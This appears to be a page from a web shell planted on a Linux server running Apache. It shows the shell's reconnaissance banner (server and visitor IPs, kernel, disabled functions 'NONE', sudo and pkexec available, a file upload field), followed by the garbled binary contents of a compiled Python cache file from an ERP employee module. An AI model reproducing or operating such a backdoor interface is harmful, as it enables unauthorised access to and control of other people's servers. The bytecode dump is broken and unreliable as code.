| Server IP : 65.108.144.40 / Your IP : 216.73.217.165 Web Server : Apache/2.4.52 (Ubuntu) System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64 User : dev ( 1000) PHP Version : 8.2.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/erp/employee/methods/__pycache__/ |
Upload File : |
o
hͦh�T � @ s& d Z ddlZddlZddlmZ ddlmZ ddlZddlm Z ddl
mZ ddlm
Z
ddlmZ dd lmZmZmZmZmZmZmZ dd
lmZmZ e�e�Zdd� Zd
d� Zdd� Z dd� Z!dd� Z"dd� Z#dd� Z$dd� Z%dd� Z&dd� Z'dd � Z(d!d"� Z)d#d$� Z*d%d&� Z+d'd(� Z,d)d*� Z-dS )+z
employee/methods.py
� N)�datetime)�groupby)�apps)�User)�models)�get_initial_prefix)�Company�
Department�
EmployeeShift�EmployeeType�JobPosition�JobRole�WorkType)�Employee�EmployeeWorkInformationc C s0 |� | �}zt|� W dS ty | Y S w )z4
This method is returns None or field value
N)�get�float�
ValueError)�field�dicts�field_value� r �(/var/www/erp/employee/methods/methods.py�convert_nan s
�r c C s0 t d�d }t|�dkrt|�nd}| d|� S )z7
Sorts items based on a dynamic prefix length.
Nr � )r �len)�item�prefix�
prefix_lengthr r r �dynamic_prefix_sort* s r c C s� t j�� } | jdd��d�jddd�}|�� s!td�d � d�g}dd � |D �}d
d � |D �}t|t d�}dd � t
|t d�D �}|D ]}|�� d
d � |D �}|jdd� d� qBdd � |D �}|rm|�d|d |d g� |S )z9
This method is used to return ordered badge ids
N��badge_idr! T)�flatr �0001c S s g | ]
}|� � rt|��qS r )�isdigit�int��.0r r r r �
<listcomp>D � z)get_ordered_badge_ids.<locals>.<listcomp>c S s g | ]}|� � s|�qS r �r$ r&